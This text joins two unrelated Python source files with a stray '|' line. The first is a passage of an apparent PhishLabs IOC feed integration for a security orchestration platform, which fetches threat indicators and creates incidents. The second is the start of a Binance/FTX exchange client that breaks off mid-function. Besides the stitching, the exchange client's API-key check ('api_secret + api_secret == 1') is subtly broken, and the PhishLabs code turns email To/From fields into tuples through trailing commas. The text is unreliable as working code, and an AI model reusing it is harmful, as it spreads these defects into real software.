connection_error = 'Could not connect to PhishLabs IOC Feed: {}'.format(str(e))
if RAISE_EXCEPTION_ON_ERROR:
raise Exception(connection_error)
return return_error(connection_error)
if res.status_code < 200 or res.status_code > 300:
status: int = res.status_code
message: str = res.reason
try:
error_json: dict = res.json()
message = error_json.get('error', '')
except Exception:
pass
error_message: str = ('Error in API call to PhishLabs IOC API, status code: {}'.format(status))
if status == 401:
error_message = 'Could not connect to PhishLabs IOC Feed: Wrong credentials'
if message:
error_message += ', reason:' + message
if RAISE_EXCEPTION_ON_ERROR:
raise Exception(error_message)
else:
return return_error(error_message)
try:
return res.json()
except Exception:
error_message = 'Failed parsing the response from PhishLabs IOC API: {!r}'.format(res.content)
if RAISE_EXCEPTION_ON_ERROR:
raise Exception(error_message)
else:
return return_error(error_message)
''' HELPER FUNCTIONS '''
@logger
def populate_context(dbot_scores: list, domain_entries: list, file_entries: list,
url_entries: list, email_entries: list = None) -> dict:
"""
Populate the context object with entries as tuples -
the first element contains global objects and the second contains PhishLabs objects
:param dbot_scores: Indicator DBotScore
:param domain_entries: Domain indicators
:param file_entries: File indicators
:param url_entries: URL indicators
:param email_entries: Email indicators
:return: The context object
"""
context: dict = {}
if url_entries:
context[outputPaths['url']] = createContext(list(map(lambda u: u[0], url_entries)))
context['PhishLabs.URL(val.ID && val.ID === obj.ID)'] = createContext(list(map(lambda u: u[1], url_entries)),
removeNull=True)
if domain_entries:
context[outputPaths['domain']] = createContext(list(map(lambda d: d[0], domain_entries)))
context['PhishLabs.Domain(val.ID && val.ID === obj.ID)'] = createContext(list(map(lambda d: d[1],
domain_entries)),
removeNull=True)
if file_entries:
context[outputPaths['file']] = createContext(list(map(lambda f: f[0], file_entries)))
context['PhishLabs.File(val.ID && val.ID === obj.ID)'] = createContext(list(map(lambda f: f[1], file_entries)),
removeNull=True)
if email_entries:
context['Email'] = createContext(list(map(lambda e: e[0], email_entries)))
context['PhishLabs.Email(val.ID && val.ID === obj.ID)'] = createContext(list(map(lambda e: e[1],
email_entries)),
removeNull=True)
if dbot_scores:
context[outputPaths['dbotscore']] = dbot_scores
return context
@logger
def get_file_properties(indicator: dict) -> tuple:
"""
Extract the file properties from the indicator attributes.
Example:
Indicator: {
"attributes": [
{
"createdAt": "2019-05-14T13:03:45Z",
"id": "xyz",
"name": "md5",
"value": "c8092abd8d581750c0530fa1fc8d8318" # guardrails-disable-line
},
{
"createdAt": "2019-05-14T13:03:45Z",
"id": "abc",
"name": "filetype",
"value": "application/zip"
},
{
"createdAt": "2019-05-14T13:03:45Z",
"id": "qwe",
"name": "name",
"value": "Baycc.zip"
}
],
"createdAt": "2019-05-14T13:03:45Z",
"falsePositive": false,
"id": "def",
"type": "Attachment",
"updatedAt": "0001-01-01T00:00:00Z",
"value": "c8092abd8d581750c0530fa1fc8d8318" # guardrails-disable-line
}
Return values: c8092abd8d581750c0530fa1fc8d8318, Baycc.zip, application/zip
:param indicator: The file indicator
:return: File MD5, name and type
"""
file_name_attribute: list = list(filter(lambda a: a.get('name') == 'name', indicator.get('attributes', [])))
file_name: str = file_name_attribute[0].get('value') if file_name_attribute else ''
file_type_attribute: list = list(filter(lambda a: a.get('name') == 'filetype', indicator.get('attributes', [])))
file_type: str = file_type_attribute[0].get('value') if file_type_attribute else ''
file_md5_attribute: list = list(filter(lambda a: a.get('name') == 'md5', indicator.get('attributes', [])))
file_md5: str = file_md5_attribute[0].get('value') if file_md5_attribute else ''
return file_md5, file_name, file_type
@logger
def get_email_properties(indicator: dict) -> tuple:
"""
Extract the email properties from the indicator attributes.
Example:
Indicator:
{
"attributes":
[
{
"createdAt": "2019-05-13T16:54:18Z",
"id": "abc",
"name": "email-body",
"value": "\r\n\r\n-----Original Message-----\r\nFrom: A \r\nSent:
Monday, May 13, 2019 12:22 PM\r\nTo:
},
{
"createdAt": "2019-05-13T16:54:18Z",
"id": "def",
"name": "from",
"value": "foo@test.com"
},
{
"createdAt": "2019-05-13T16:54:18Z",
"id": "cf3182ca-92ec-43b6-8aaa-429802a99fe5",
"name": "to",
"value": "example@gmail.com"
}
],
"createdAt": "2019-05-13T16:54:18Z",
"falsePositive": false,
"id": "ghi",
"type": "E-mail",
"updatedAt": "0001-01-01T00:00:00Z",
"value": "FW: Task"
}
Return values:
:param indicator: The email indicator
:return: Email body, To and From
"""
email_to_attribute: list = list(filter(lambda a: a.get('name') == 'to', indicator.get('attributes', [])))
email_to: str = email_to_attribute[0].get('value') if email_to_attribute else ''
email_from_attribute: list = list(filter(lambda a: a.get('name') == 'from', indicator.get('attributes', [])))
email_from: str = email_from_attribute[0].get('value') if email_from_attribute else ''
email_body_attribute: list = list(filter(lambda a: a.get('name') == 'email-body', indicator.get('attributes', [])))
email_body: str = email_body_attribute[0].get('value') if email_body_attribute else ''
return email_body, email_to, email_from
@logger
def create_domain_context(indicator: dict, classification: str) -> dict:
"""
Create a domain context object
:param indicator: The domain indicator
:param classification: The indicator classification
:return: The domain context object
"""
domain_object = {
'Name': indicator.get('value')
}
if classification == 'Malicious':
domain_object['Malicious'] = {
'Vendor': 'PhishLabs',
'Description': 'Domain in PhishLabs feed'
}
return domain_object
@logger
def create_url_context(indicator: dict, classification: str) -> dict:
"""
Create a URL context object
:param indicator: The URL indicator
:param classification: The indicator classification
:return: The URL context object
"""
url_object: dict = {
'Data': indicator.get('value')
}
if classification == 'Malicious':
url_object['Malicious'] = {
'Vendor': 'PhishLabs',
'Description': 'URL in PhishLabs feed'
}
return url_object
@logger
def create_phishlabs_object(indicator: dict) -> dict:
"""
Create the context object for the PhishLabs path
:param indicator: The indicator
:return: The context object
"""
return {
'ID': indicator.get('id'),
'CreatedAt': indicator.get('createdAt'),
'UpdatedAt': indicator['updatedAt'] if indicator.get('updatedAt', NONE_DATE) != NONE_DATE else '',
'Attribute': [{
'Name': a.get('name'),
'Type': a.get('type'),
'Value': a.get('value'),
'CreatedAt': a.get('createdAt')
} for a in indicator.get('attributes', [])]
}
def indicator_type_finder(indicator_data: dict):
"""Find the indicator type of the given indicator
Args:
indicator_data(dict): The data about the indicator
Returns:
str. The indicator type
"""
indicator = indicator_data.get('value')
# PhishLabs IOC does not classify Email indicators correctly giving them typing of "ReplayTo", "HeaderReplyTo"
# "ReturnPath" and so on - to combat that we find the Email indicator type by regex
# returned URLs could fit the email regex at some cases so we exclude them
if re.match(str(emailRegex), str(indicator)) and str(indicator_data.get('type')).lower() != 'url':
return 'Email'
else:
return indicator_data.get('type')
@logger
def create_indicator_content(indicator: dict) -> dict:
"""
Create content for the human readable object
:param indicator: The indicator
:return: The object to return to the War Room
"""
return {
'ID': indicator.get('id'),
'Indicator': indicator.get('value'),
'Type': indicator_type_finder(indicator),
'CreatedAt': indicator.get('createdAt'),
'UpdatedAt': indicator['updatedAt'] if indicator.get('updatedAt', NONE_DATE) != NONE_DATE else '',
'FalsePositive': indicator.get('falsePositive')
}
''' COMMANDS'''
def test_module(client: Client):
"""
Performs basic get request to get item samples
"""
get_global_feed_request(client, limit='1')
demisto.results('ok')
def get_global_feed_command(client: Client):
"""
Gets the global feed data using the provided arguments
"""
indicator_headers: list = ['Indicator', 'Type', 'CreatedAt', 'UpdatedAt', 'FalsePositive']
contents: list = []
url_entries: list = []
domain_entries: list = []
file_entries: list = []
dbot_scores: list = []
context: dict = {}
since: str = demisto.args().get('since')
limit: str = demisto.args().get('limit')
indicator: list = argToList(demisto.args().get('indicator_type', []))
remove_protocol: str = demisto.args().get('remove_protocol')
remove_query: str = demisto.args().get('remove_query')
false_positive: str = demisto.args().get('false_positive')
feed: dict = get_global_feed_request(client, since, limit, indicator, remove_protocol, remove_query, false_positive)
results: list = feed.get('data', []) if feed else []
if results:
if not isinstance(results, list):
results = [results]
for result in results:
contents.append(create_indicator_content(result))
indicator_false_positive = result.get('falsePositive', False)
indicator_type: str = result.get('type')
phishlabs_object: dict = create_phishlabs_object(result)
dbot_score: dict = {
'Indicator': result.get('value'),
'Vendor': 'PhishLabs',
'Score': 3 if not indicator_false_positive else 1,
'Reliability': client.reliability
}
if indicator_type == 'URL':
context_object = create_url_context(result, 'Malicious' if not indicator_false_positive else 'Good')
phishlabs_object['Data'] = result.get('value')
dbot_score['type'] = 'url'
url_entries.append((context_object, phishlabs_object))
elif indicator_type == 'Domain':
context_object = create_domain_context(result, 'Malicious' if not indicator_false_positive else 'Good')
phishlabs_object['Name'] = result.get('value')
dbot_score['type'] = 'domain'
domain_entries.append((context_object, phishlabs_object))
elif indicator_type == 'Attachment':
file_md5, file_name, file_type = get_file_properties(result)
context_object = {
'Name': file_name,
'Type': file_type,
'MD5': file_md5
}
phishlabs_object['Name'] = file_name
phishlabs_object['Type'] = file_type
phishlabs_object['MD5'] = file_md5
file_entries.append((context_object, phishlabs_object))
dbot_score['type'] = 'file'
dbot_scores.append(dbot_score)
context = populate_context(dbot_scores, domain_entries, file_entries, url_entries)
human_readable: str = tableToMarkdown('PhishLabs Global Feed', contents, headers=indicator_headers,
removeNull=True, headerTransform=pascalToSpace)
else:
human_readable = 'No indicators found'
return_outputs(human_readable, context, feed)
@logger
def get_global_feed_request(client: Client, since: str = None, limit: str = None, indicator: list = None,
remove_protocol: str = None, remove_query: str = None, false_positive: str = None) -> dict:
"""
Sends a request to PhishLabs global feed with the provided arguments
:param client: The client with the http request
:param since: Data updated within this duration of time from now
:param limit: Limit the number of rows to return
:param indicator: Indicator type filter
:param remove_protocol: Removes the protocol part from indicators when the rule can be applied.
:param remove_query: Removes the query string part from indicators when the rules can be applied.
:param false_positive: Filter by indicators that are false positives.
:return: Global feed indicators
"""
path: str = 'globalfeed'
params: dict = {}
if since:
params['since'] = since
if limit:
params['limit'] = int(limit)
if indicator:
params['indicator'] = indicator
if remove_protocol:
params['remove_protocol'] = remove_protocol
if remove_query:
params['remove_query'] = remove_query
if false_positive:
params['false_positive'] = false_positive
response = client.http_request('GET', path, params)
return response
def get_incident_indicators_command(client: Client):
"""
Gets the indicators for the specified incident
"""
indicator_headers: list = ['Indicator', 'Type', 'CreatedAt', 'UpdatedAt', 'FalsePositive']
attribute_headers: list = ['Name', 'Type', 'Value', 'CreatedAt']
url_entries: list = []
domain_entries: list = []
file_entries: list = []
email_entries: list = []
dbot_scores: list = []
context: dict = {}
incident_id: str = demisto.args()['incident_id']
since: str = demisto.args().get('since')
limit: str = demisto.args().get('limit')
indicator: list = argToList(demisto.args().get('indicator_type', []))
classification: str = demisto.args().get('indicators_classification', 'Suspicious')
remove_protocol: str = demisto.args().get('remove_protocol')
remove_query: str = demisto.args().get('remove_query')
human_readable: str = '## Indicators for incident ' + incident_id + '\n'
feed: dict = get_feed_request(client, since, indicator=indicator, remove_protocol=remove_protocol, remove_query=remove_query)
results: list = feed.get('data', []) if feed else []
if results:
if not isinstance(results, list):
results = [results]
results = list(filter(lambda f: f.get('referenceId', '') == incident_id, results))
if results:
indicators = results[0].get('indicators', [])
if limit:
indicators = indicators[:int(limit)]
for result in indicators:
human_readable += tableToMarkdown('Indicator', create_indicator_content(result),
headers=indicator_headers,
removeNull=True, headerTransform=pascalToSpace)
phishlabs_object = create_phishlabs_object(result)
if phishlabs_object.get('Attribute'):
human_readable += tableToMarkdown('Attributes', phishlabs_object['Attribute'],
headers=attribute_headers,
removeNull=True, headerTransform=pascalToSpace)
else:
human_readable += 'No attributes for this indicator\n'
indicator_type: str = result.get('type')
dbot_score: dict = {
'Indicator': result.get('value'),
'Vendor': 'PhishLabs',
'Score': 3 if classification == 'Malicious' else 2,
'Reliability': client.reliability
}
if indicator_type == 'URL':
context_object = create_url_context(result, classification)
phishlabs_object['Data'] = result.get('value')
dbot_score['type'] = 'url'
url_entries.append((context_object, phishlabs_object))
elif indicator_type == 'Domain':
context_object = create_domain_context(result, classification)
phishlabs_object['Name'] = result.get('value')
dbot_score['type'] = 'domain'
domain_entries.append((context_object, phishlabs_object))
elif indicator_type == 'Attachment':
file_md5, file_name, file_type = get_file_properties(result)
context_object = {
'Name': file_name,
'Type': file_type,
'MD5': file_md5
}
phishlabs_object['Name'] = file_name
phishlabs_object['Type'] = file_type
phishlabs_object['MD5'] = file_md5
file_entries.append((context_object, phishlabs_object))
dbot_score['type'] = 'file'
elif indicator_type == 'E-mail':
email_body, email_to, email_from = get_email_properties(result)
context_object = {
'To': email_to,
'From': email_from,
'Body': email_body,
'Subject': result.get('value')
}
phishlabs_object['To'] = email_to,
phishlabs_object['From'] = email_from,
phishlabs_object['Body'] = email_body
phishlabs_object['Subject'] = result.get('value')
email_entries.append((context_object, phishlabs_object))
if indicator_type != 'E-mail':
# We do not know what we have for an email
dbot_scores.append(dbot_score)
context = populate_context(dbot_scores, domain_entries, file_entries, url_entries, email_entries)
else:
human_readable = 'Incident not found'
else:
human_readable = 'No incidents found'
return_outputs(human_readable, context, feed)
@logger
def get_feed_request(client: Client, since: str = None, limit: str = None, indicator: list = None,
remove_protocol: str = None, remove_query: str = None,
offset: str = None, sort: bool = False) -> dict:
"""
Sends a request to PhishLabs user feed with the provided arguments
:param client: The client with the http request
:param since: Data updated within this duration of time from now
:param limit: Limit the number of rows to return
:param indicator: Indicator type filter
:param remove_protocol: Removes the protocol part from indicators when the rule can be applied.
:param remove_query: Removes the query string part from indicators when the rules can be applied.
:param offset: Number of incidents to skip
:param sort: If true, the incidents will be sorted by their creation time in ascending order.
:return: User feed
"""
path: str = 'feed'
params: dict = {}
if since:
params['since'] = since
if limit:
params['limit'] = int(limit)
if offset:
params['offset'] = int(offset)
if indicator:
params['indicator'] = indicator
if remove_query:
params['remove_query'] = remove_query
if remove_protocol:
params['remove_protocol'] = remove_protocol
if sort:
params['sort'] = 'created_at'
params['direction'] = 'asc'
response = client.http_request('GET', path, params)
return response
def get_sec_time_delta(last_fetch_time):
# try in UTC first
fetch_delta = datetime.utcnow() - last_fetch_time
fetch_delta_in_sec = fetch_delta.seconds
# if negative then try in current time
if fetch_delta_in_sec < 0:
fetch_delta = datetime.now() - last_fetch_time
fetch_delta_in_sec = fetch_delta.seconds
# if negative default to 1 day
if fetch_delta_in_sec < 0:
fetch_delta_in_sec = SEC_IN_DAY
return str(fetch_delta_in_sec) + "s"
def fetch_incidents(client: Client, fetch_time, fetch_limit):
"""
Fetches incidents from the PhishLabs user feed.
:return: Demisto incidents
"""
last_run: dict = demisto.getLastRun()
last_fetch: str = last_run.get('time', '') if last_run else ''
last_fetch_time: datetime = (datetime.strptime(last_fetch, '%Y-%m-%dT%H:%M:%SZ') if last_fetch
else datetime.strptime(NONE_DATE, '%Y-%m-%dT%H:%M:%SZ'))
incidents: list = []
count: int = 1
limit = int(fetch_limit)
if not last_fetch:
feed: dict = get_feed_request(client, since=fetch_time)
else:
feed = get_feed_request(client, since=get_sec_time_delta(last_fetch_time))
max_time: datetime = last_fetch_time
results: list = feed.get('data', []) if feed else []
if results:
results = sorted(results, key=lambda r: datetime.strptime(r.get('createdAt', NONE_DATE), '%Y-%m-%dT%H:%M:%SZ'))
if not isinstance(results, list):
results = [results]
for result in results:
if count > limit:
break
incident_time: datetime = datetime.strptime(result.get('createdAt', NONE_DATE), '%Y-%m-%dT%H:%M:%SZ')
if last_fetch_time and incident_time <= last_fetch_time:
continue
incident: dict = {
'name': 'PhishLabs IOC Incident ' + result.get('referenceId', ''),
'occurred': datetime.strftime(incident_time, '%Y-%m-%dT%H:%M:%SZ'),
'rawJSON': json.dumps(result)
}
incidents.append(incident)
if max_time < incident_time:
max_time = incident_time
count += 1
demisto.setLastRun({'time': datetime.strftime(max_time, '%Y-%m-%dT%H:%M:%SZ')})
demisto.incidents(incidents)
''' MAIN'''
def main():
"""
Main function
"""
params = demisto.params()
server: str = (params.get('url')[:-1]
if (params.get('url') and params.get('url').endswith('/'))
else params.get('url'))
reliability = demisto.params().get('integrationReliability')
reliability = reliability if reliability else DBotScoreReliability.B
if DBotScoreReliability.is_valid_type(reliability):
reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability)
else:
raise Exception("Please provide a valid value for the Source Reliability parameter.")
client = Client(
base_url=f'{str(server)}/api/v1/',
user_name=params.get('credentials', {}).get('identifier'),
password=params.get('credentials', {}).get('password'),
use_ssl=not params.get('insecure', False),
reliability=reliability
)
global RAISE_EXCEPTION_ON_ERROR
LOG('Command being called is {}'.format(demisto.command()))
handle_proxy()
command_dict = {
'test-module': test_module,
'fetch-incidents': fetch_incidents,
'phishlabs-global-feed': get_global_feed_command,
'phishlabs-get-incident-indicators': get_incident_indicators_command
}
try:
command_func: Callable = command_dict[demisto.command()] # type:ignore[assignment]
if demisto.command() == 'fetch-incidents':
RAISE_EXCEPTION_ON_ERROR = True
command_func(client, params.get('fetch_time', '').strip(), params.get('fetch_limit', '10'))
else:
command_func(client)
except Exception as e:
if RAISE_EXCEPTION_ON_ERROR:
LOG(str(e))
LOG.print_log()
raise
else:
return_error(str(e))
if __name__ in ['__main__', '__builtin__', 'builtins']:
main()
|
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
from enum import Enum
from typing import Union
import decimal
import math
import asyncio
import random
import logging
import time
from exchanges_wrapper.http_client import HttpClient
from exchanges_wrapper.errors import BinancePyError, RateLimitReached
from exchanges_wrapper.web_sockets import UserEventsDataStream, MarketEventsDataStream, FtxPrivateEventsDataStream
from exchanges_wrapper.definitions import OrderType
from exchanges_wrapper.events import Events
import exchanges_wrapper.ftx_parser as ftx
logger = logging.getLogger('exch_srv_logger')
STATUS_TIMEOUT = 5 # sec
BINANCE_ENDPOINT = "https://api.binance.com"
BINANCE_ENDPOINT_WS = "wss://stream.binance.com:9443"
def truncate(f, n):
return math.floor(f * 10 ** n) / 10 ** n
class Client:
def __init__(
self,
api_key=None,
api_secret=None,
*,
endpoint=BINANCE_ENDPOINT,
user_agent=None,
proxy=None,
session=None,
sub_account=None,
endpoint_ws=BINANCE_ENDPOINT_WS,
):
if api_secret + api_secret == 1:
raise ValueError(
"You cannot only specify a non empty api_key or an api_secret."
)
self.api_key = api_key
self.api_secret = api_secret
self.sub_account = sub_account
self.endpoint_ws = endpoint_ws
if 'ftx' in endpoint:
self.exchange = 'ftx'
else:
self.exchange = 'binance'
self.http = HttpClient(
api_key, api_secret, endpoint, user_agent, proxy, session,
exchange=self.exchange, sub_account=self.sub_account,
)
self.user_agent = user_agent
self.proxy = None
self.loaded = False
self.symbols = {}
self.highest_precision = None
self.rate_limits = None
self.market_data_streams = []
self.user_data_stream = None
async def load(self):
infos = await self.fetch_exchange_info()
if infos.get('success') or infos.get('serverTime'):
# load available symbols
self.highest_precision = 8
original_symbol_infos = infos["symbols"]
for symbol_infos in original_symbol_infos:
symbol = symbol_infos.pop("symbol")
precision = symbol_infos["baseAssetPrecision"]
if precision > self.highest_precision:
self.highest_precision = precision
symbol_infos["filters"] = dict(
map(lambda x: (x.pop("filterType"), x), symbol_infos["filters"])
)
self.symbols[symbol] = symbol_infos
decimal.getcontext().prec = (
self.highest_precision + 4
) # for operations and rounding
# load rate limits
self.rate_limits = infos["rateLimits"]
self.loaded = True
else:
raise Exception("Can't get exchange info, check availability and operational status of the exchange")
async def close(self):
await self.http.close_session()
@property
def events(self):
if not hasattr(self, "_events"):
# noinspection PyAttributeOutsideInit
self._events = Events()
return self._events
async def start_user_events_listener(self, endpoint=None):
_endpoint = endpoint or BINANCE_ENDPOINT_WS
if self.exchange == 'binance':
self.user_data_stream = UserEventsDataStream(self, _endpoint, self.user_agent)
await self.user_data_stream.start()
else:
self.user_data_stream = FtxPrivateEventsDataStream(self,
_endpoint,
self.user_agent,
self.exchange,
self.sub_account
)
await self.user_data_stream.start()
async def stop_user_events_listener(self):
if self.user_data_stream:
await self.user_data_stream.stop()
async def start_market_events_listener(self):
_events = self.events.registered_streams
logger.debug(f"start_market_events_listener._event: {_events}")
start_list = []
for _exchange in _events.keys():
if _exchange == 'binance':
_endpoint = BINANCE_ENDPOINT_WS
market_data_stream = MarketEventsDataStream(self, _endpoint, self.user_agent, _exchange)
self.market_data_streams.append(market_data_stream)
start = market_data_stream.start()
start_list.append(start)
else:
_endpoint = self.endpoint_ws
for channel in self.events.registered_streams.get(_exchange):
market_data_stream = MarketEventsDataStream(self, _endpoint, self.user_agent, _exchange, channel)
self.market_data_streams.append(market_data_stream)
start = market_data_stream.start()
start_list.append(start)
logger.debug(f"start_market_events_listener.market_data_streams: {self.market_data_streams}")
await asyncio.gather(*start_list, return_exceptions=False)
async def stop_market_events_listener(self):
stop_list = []
for market_data_stream in self.market_data_streams:
stop = market_data_stream.stop()
stop_list.append(stop)
await asyncio.gather(*stop_list, return_exceptions=False)
def assert_symbol_exists(self, symbol):
if self.loaded and symbol not in self.symbols:
raise BinancePyError(f"Symbol {symbol} is not valid according to the loaded exchange infos.")
def symbol_to_ftx(self, symbol) -> str:
symbol_info = self.symbols.get(symbol)
return f"{symbol_info.get('baseAsset')}/{symbol_info.get('quoteAsset')}"
def refine_amount(self, symbol, amount: Union[str, decimal.Decimal], quote=False):
if type(amount) is str: # to save time for developers
amount = decimal.Decimal(amount)
if self.loaded:
precision = self.symbols[symbol]["baseAssetPrecision"]
lot_size_filter = self.symbols[symbol]["filters"]["LOT_SIZE"]
step_size = decimal.Decimal(lot_size_filter["stepSize"])
# noinspection PyStringFormat
amount = (
(f"%.{precision}f" % truncate(amount if quote else (amount - amount % step_size), precision))
.rstrip("0")
.rstrip(".")
)
return amount
def refine_price(
self, symbol, price: Union[str, decimal.Decimal]
) -> decimal.Decimal:
if isinstance(price, str): # to save time for developers
price = decimal.Decimal(price)
if self.loaded:
precision = self.symbols[symbol]["baseAssetPrecision"]
price_filter = self.symbols[symbol]["filters"]["PRICE_FILTER"]
price = price - (price % decimal.Decimal(price_filter["tickSize"]))
# noinspection PyStringFormat
price = (
(f"%.{precision}f" % truncate(price, precision))
.rstrip("0")
.rstrip(".")
)
return price
def assert_symbol(self, symbol):
if not symbol:
raise ValueError("This query requires a symbol.")
self.assert_symbol_exists(symbol)
# keep support for hardcoded string but allow enums usage
@staticmethod
def enum_to_value(enum):
if isinstance(enum, Enum):
enum = enum.value
return enum
# GENERAL ENDPOINTS
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#test-connectivity
async def ping(self):
return await self.http.send_api_call("/api/v3/ping", send_api_key=False)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#check-server-time
async def fetch_server_time(self):
return await self.http.send_api_call("/api/v3/time", send_api_key=False)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#exchange-information
async def fetch_exchange_info(self):
binance_res = {}
if self.exchange == 'binance':
binance_res = await self.http.send_api_call(
"/api/v3/exchangeInfo",
send_api_key=False
)
elif self.exchange == 'ftx':
res = await self.http.send_api_call(
"markets",
send_api_key=False
)
# Convert FTX to Binance Response
if res and res.get('success'):
binance_res = ftx.ftx_exchange_info(res.get('result'))
return binance_res
# MARKET DATA ENDPOINTS
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#order-book
async def fetch_order_book(self, symbol, limit=100):
self.assert_symbol(symbol)
valid_limits = []
if self.exchange == 'binance':
valid_limits = [5, 10, 20, 50, 100, 500, 1000, 5000]
elif self.exchange == 'ftx':
valid_limits = [5, 10, 20, 50, 100]
binance_res = {}
if limit in valid_limits:
if self.exchange == 'binance':
binance_res = await self.http.send_api_call(
"/api/v3/depth",
params={"symbol": symbol, "limit": limit},
send_api_key=False,
)
elif self.exchange == 'ftx':
params = {'depth': limit}
res = await self.http.send_api_call(
f"markets/{self.symbol_to_ftx(symbol)}/orderbook",
send_api_key=False,
**params,
)
if res and res.get('success'):
binance_res = ftx.ftx_order_book(res.get('result'))
else:
raise ValueError(
f"{limit} is not a valid limit. Valid limits: {valid_limits}"
)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#recent-trades-list
async def fetch_recent_trades_list(self, symbol, limit=500):
self.assert_symbol(symbol)
if limit == 500:
params = {"symbol": symbol}
elif 0 < limit <= 1000:
params = {"symbol": symbol, "limit": limit}
else:
raise ValueError(
f"{limit} is not a valid limit. A valid limit should be > 0 and <= to 1000."
)
return await self.http.send_api_call(
"/api/v3/trades", params=params, signed=False
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#old-trade-lookup-market_data
async def fetch_old_trades_list(self, symbol, from_id=None, limit=500):
self.assert_symbol(symbol)
if limit == 500:
params = {"symbol": symbol}
elif 0 < limit <= 1000:
params = {"symbol": symbol, "limit": limit}
else:
raise ValueError(
f"{limit} is not a valid limit. A valid limit should be > 0 and <= to 1000."
)
if from_id:
params["fromId"] = from_id
return await self.http.send_api_call(
"/api/v3/historicalTrades", params=params, signed=False
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#compressedaggregate-trades-list
async def fetch_aggregate_trades_list(
self, symbol, from_id=None, start_time=None, end_time=None, limit=500
):
self.assert_symbol(symbol)
if limit == 500:
params = {"symbol": symbol}
elif 0 < limit <= 1000:
params = {"symbol": symbol, "limit": limit}
else:
raise ValueError(
f"{limit} is not a valid limit. A valid limit should be > 0 and <= to 1000."
)
if from_id:
params["fromId"] = from_id
if start_time:
params["startTime"] = start_time
if end_time:
params["endTime"] = end_time
return await self.http.send_api_call(
"/api/v3/aggTrades", params=params, signed=False
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#klinecandlestick-data
async def fetch_klines(self, symbol, interval, start_time=None, end_time=None, limit=500):
self.assert_symbol(symbol)
interval = self.enum_to_value(interval)
if self.exchange == 'ftx':
interval = ftx.ftx_interval(interval)
if not interval:
raise ValueError("This query requires correct interval value")
binance_res = []
if self.exchange == 'binance':
if limit == 500:
params = {"symbol": symbol, "interval": interval}
elif 0 < limit <= 1000:
params = {"symbol": symbol, "interval": interval, "limit": limit}
else:
raise ValueError(
f"{limit} is not a valid limit. A valid limit should be > 0 and <= to 1000."
)
if start_time:
params["startTime"] = start_time
if end_time:
params["endTime"] = end_time
binance_res = await self.http.send_api_call(
"/api/v3/klines", params=params, signed=False
)
elif self.exchange == 'ftx':
end_time = int(time.time())
start_time = end_time - interval * limit - 1
params = {
'resolution': interval,
'start_time': start_time,
'end_time': end_time}
res = await self.http.send_api_call(
f"markets/{self.symbol_to_ftx(symbol)}/candles",
send_api_key=False,
**params,
)
if res and res.get('success'):
binance_res = ftx.ftx_klines(res.get('result'), interval)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#current-average-price
async def fetch_average_price(self, symbol):
self.assert_symbol(symbol)
return await self.http.send_api_call(
"/api/v3/avgPrice",
params={"symbol": symbol},
signed=False,
send_api_key=False,
)
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#24hr-ticker-price-change-statistics
async def fetch_ticker_price_change_statistics(self, symbol=None):
if symbol:
self.assert_symbol_exists(symbol)
binance_res = {}
else:
binance_res = []
if self.exchange == 'binance':
binance_res = await self.http.send_api_call(
"/api/v3/ticker/24hr",
params={"symbol": symbol} if symbol else {},
signed=False,
send_api_key=False,
)
elif self.exchange == 'ftx' and symbol:
resolution = 60 * 60 * 24
end_time = int(time.time())
start_time = end_time - resolution
params = {
'resolution': resolution,
'start_time': start_time,
'end_time': end_time}
res = await self.http.send_api_call(
f"markets/{self.symbol_to_ftx(symbol)}/candles",
send_api_key=False,
**params,
)
if res and res.get('success'):
binance_res = ftx.ftx_ticker_price_change_statistics(res.get('result'), symbol, end_time)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#symbol-price-ticker
async def fetch_symbol_price_ticker(self, symbol=None):
if symbol:
self.assert_symbol_exists(symbol)
binance_res = {}
else:
binance_res = []
if self.exchange == 'binance':
binance_res = await self.http.send_api_call(
"/api/v3/ticker/price",
params={"symbol": symbol} if symbol else {},
signed=False,
send_api_key=False,
)
elif self.exchange == 'ftx':
res = await self.http.send_api_call(
f"markets/{self.symbol_to_ftx(symbol)}" if symbol else "markets",
send_api_key=False,
)
if res and res.get('success'):
binance_res = ftx.ftx_symbol_price_ticker(res.get('result'), symbol)
return binance_res
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#symbol-order-book-ticker
async def fetch_symbol_order_book_ticker(self, symbol=None):
if symbol:
self.assert_symbol_exists(symbol)
return await self.http.send_api_call(
"/api/v3/ticker/bookTicker",
params={"symbol": symbol} if symbol else {},
signed=False,
send_api_key=False,
)
# ACCOUNT ENDPOINTS
# https://github.com/binance/binance-spot-api-docs/blob/master/rest-api.md#new-order--trade
async def create_order(
self,
symbol,
side,
order_type,
time_in_force=None,
quantity=None,
quote_order_quantity=None,
price=None,
new_client_order_id=None,
stop_price=None,
iceberg_quantity=None,
response_type=None,
receive_window=None,
test=False,
):
self.assert_symbol(symbol)
side = self.enum_to_value(side)
order_type = self.enum_to_value(order_type)
if not side:
raise ValueError("This query requires a side.")
if not order_type:
raise ValueError("This query requires an order_type.")
binance_res = {}
if self.exchange == 'binance':
params = {"symbol": symbol, "side": side, "type": order_type}
if time_in_force:
params["timeInForce"] = self.enum_to_value(time_in_force)
elif order_type in [
OrderType.LIMIT.value,
OrderType.STOP_LOSS_LIMIT.value,
OrderType.TAKE_PROFIT_LIMIT.value,
]:
raise ValueError("This order type requires a time_in_force.")
if quote_order_quantity:
params["quoteOrderQty"] = self.refine_amount(
symbol, quote_order_quantity, True
)
if quantity:
params["quantity"] = self.refine_amount(symbol, quantity)
elif not quote_order_quantity:
raise ValueError(
"This order type requires a quantity or a quote_order_quantity."
if order_type == OrderType.MARKET
else "This order type requires a quantity."
)
if price:
params["price"] = self.refine_price(symbol, price)
elif order_type in [
OrderType.LIMIT.value,
OrderType.STOP_LOSS_LIMIT.value,
OrderType.TAKE_PROFIT_LIMIT.value,
OrderType.LIMIT_MAKER.value,
]:
raise ValueError("This order type requires a price.")
